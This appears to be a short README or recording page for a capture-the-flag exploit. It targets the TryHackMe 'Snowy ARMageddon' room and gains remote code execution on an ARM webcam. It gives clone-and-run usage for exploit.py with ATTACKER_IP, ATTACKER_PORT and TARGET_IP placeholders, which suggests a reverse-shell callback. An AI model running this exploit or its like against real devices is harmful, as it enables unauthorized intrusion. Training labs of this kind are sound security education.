Get the Side Quest 2 Flags from exploiting a webcam running ARM Processor, via Remote Code Execution

by sumanrox 2 years ago

GNU/Linux • xterm-256color • zsh 802 views

Team Snowmen - Automated Exploit for TryHackMe Advent of Cyber

🎄🔒 Snowy ARMageddon 🔒🎄

Description

Team Snowmen proudly presents an automated exploit for the TryHackMe Advent of Cyber Side Quest Event Part 2 - “Snowy ARMageddon” 🎅🏽🕵️‍♂️

Features:

🚀 Automated exploit to streamline your hacking experience!
❄️ Christmas-themed payload for festive engagements!
🤝 Developed collaboratively by Team Snowmen.

Room Link

🔗 Snowy ARMageddon

Usage

Clone the repository: git clone https://github.com/sumanrox/sidequest-exploits.git
Navigate to the exploit directory: cd sidequest-exploits/sidequest_2
Run the automated exploit: ./exploit.py -p 50628 -lh ATTACKER_IP -lp ATTACKER_PORT -a TARGET_IP
Enjoy the Christmas magic of automated hacking! 🎅🏽🎁

Credits

Developed with love and snowflakes by Team Snowmen. ⛄️❤️

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